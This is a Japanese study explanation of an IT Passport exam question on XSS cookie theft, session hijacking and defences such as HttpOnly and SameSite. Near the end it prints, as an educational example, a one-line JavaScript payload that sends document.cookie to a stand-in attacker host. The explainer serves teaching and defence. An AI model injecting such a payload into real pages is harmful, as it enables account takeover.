ITパスポート 2017年 秋期 問91

Cookie漏えいによる不正ログイン被害【ITパスポート解説】

正解の理由

解法ステップ

1. 問題文のキーワードを確認する：クロスサイトスクリプティング（XSS）とCookie漏えい。
2. XSSが何をできるかを考える：ブラウザでスクリプトを動かせる（例：document.cookieにアクセスできる）。
3. Cookieの中身が何に使われるかを思い出す：認証情報やセッションIDなどが保存されることがある。
4. 選択肢をそれぞれ、Cookieの漏えいで直接起こるかどうかで判定する：
   • 認証情報の盗用 → アカウント乗っ取りに直結（正解）
   • ウイルス感染やファイル送信、無線LANからの侵入はCookie漏えいだけでは説明できない（間接的・別経路が必要）。

選択肢別の誤答解説

• ア: PCがウイルスに感染する。
  Cookieが漏れるだけではウイルス（マルウェア）が自動的にPCに侵入・実行されるわけではありません。ウイルス感染はメール添付や不正ソフトの実行など別の手段が通常必要です。
• イ: PC内のファイルを外部に送信される。
  ブラウザのCookieが盗まれても、攻撃者が直接そのPCのローカルファイルにアクセスして外部送信するわけではありません。ローカルファイル送信はさらに別の脆弱性（例えば任意ファイルアップロードやリモート実行）が必要です。
• ウ: Webサービスのアカウントを乗っ取られる。
  CookieにセッションIDや認証トークンが含まれていると、攻撃者はその値を使って正規ユーザとしてログインしたふりができます（セッションハイジャック）。XSSによるCookie盗用は典型的な手口です。
• エ: 無線LANを介してネットワークに侵入される。
  Cookie漏えいは主にWebアプリケーションとブラウザ間のやり取りに関する問題であり、無線LAN（Wi-Fi）経由のネットワーク侵入とは別カテゴリです。無線LAN侵入は暗号化の欠如や弱い認証が原因です。

よくある誤解

1. 「Cookieが盗まれたらすぐにPCが壊れる」
   Cookie自体は小さなテキストデータです。PCのシステムを破壊するものではなく、主にWebサービス上の認証情報などが危険になります。
2. 「すべてのCookieが同じ危険度」
   Cookieの用途は様々です。閲覧履歴を保存するだけのものもあれば、ログイン状態を管理する重要なCookie（セッションID）もあります。重要な情報が保存されているかどうかで危険度が変わります。
3. 「XSS＝ウイルス」や「ウイルス対策ソフトだけで防げる」
   XSSはWebアプリの脆弱性を利用した攻撃で、ウイルス（マルウェア）とは仕組みが異なります。防御にはWeb側の対策（入力の無害化やHttpOnly設定など）も必要です。

補足コラム

• セッションハイジャック（英: session hijacking）とは
  ブラウザとサーバ間のやり取りで用いられるセッションIDを不正に取得し、正規ユーザになりすます攻撃です。XSSによるCookie盗用はその一例です。
• ブラウザ側・サーバ側の代表的な防御策
  • HttpOnly属性：CookieにHttpOnlyを付けると、JavaScriptからそのCookieを参照できなくなりXSSによる盗用を防ぎやすくなります。
  • Secure属性：HTTPS接続時のみCookieを送る設定で、中間者攻撃のリスクを下げます。
  • SameSite属性：外部サイトからのリクエストでCookieが送られるのを制限し、CSRF（クロスサイトリクエストフォージェリ）対策になります。
  • 入力の無害化（エスケープ）・コンテンツセキュリティポリシー（CSP）：XSSをそもそも起こさせない対策です。
• 簡単なXSSペイロード例（教育目的）
  JavaScriptでCookieを外部に送る例：

  // 危険な例：実際に使うと不正行為になります
  fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie));
  

  HttpOnlyが付いているCookieはdocument.cookieから読み取れません。

FAQ